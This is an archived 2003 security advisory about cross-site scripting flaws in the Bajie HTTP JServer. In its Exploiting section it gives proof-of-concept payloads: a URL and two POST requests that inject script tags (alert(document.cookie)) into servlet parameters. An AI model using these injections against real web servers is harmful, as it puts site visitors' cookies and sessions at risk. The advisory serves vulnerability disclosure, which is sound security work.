TUCoPS :: Web :: Servers :: bajiexss.txt

CSS Vulnerability in Bajie HTTP JServer

CSS Vulnerability in Bajie HTTP JServer
==========================

Even though the cross-site-scripting vulnerability published under BID 7344
was fixed with 
Built 0.95zxe1, the current version of Bajie HTTP Jserver is still
vulnerable to 
cross-site-scripting attacks. 

Vulnerable versions:
====================

The latest version BajieJSrv/0.95zxv4 and probably older ones.

Exploiting:
===========

The cross side scripting vulnerability can easily be demonstrated with a web
browser:

alert(document.cookie)</script"http://localhost/cgi/bin/test.txt?<script>alert(document.cookie)</script <http://localhost/cgi/bin/test.txt?<script>>

The following css's can be demonstrated either by inserting code into the
html-forms 
with a browser,or sending via netcat a string like:

POST /servlet/custMsg?guestName=<script>alert("bang")</script> HTTP/1.0

POST
/servlet/CookieExample?cookiename=<script>alert("bang")</script>&cookievalue=&cookiepath= 
HTTP/1.0


Vendor:
=======

Name: Gang Zhang (gzhangx@hotmail.com <mailto:gzhangx@hotmail.com>)
Homepage: <http://go.to/bajie>

Discovered by/Credit:
=====================

16.10.2003 Oliver Karow (oliver.karow[at]gmx.de)


-- 
NEU FšR ALLE - GMX MediaCenter - fr Fotos, Musik, Dateien...
Fotoalbum, File Sharing, MMS, Multimedia-Gruá, GMX FotoService

Jetzt kostenlos anmelden unter <http://www.gmx.net>

+++ GMX - die erste Adresse fr Mail, Message, More! +++

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH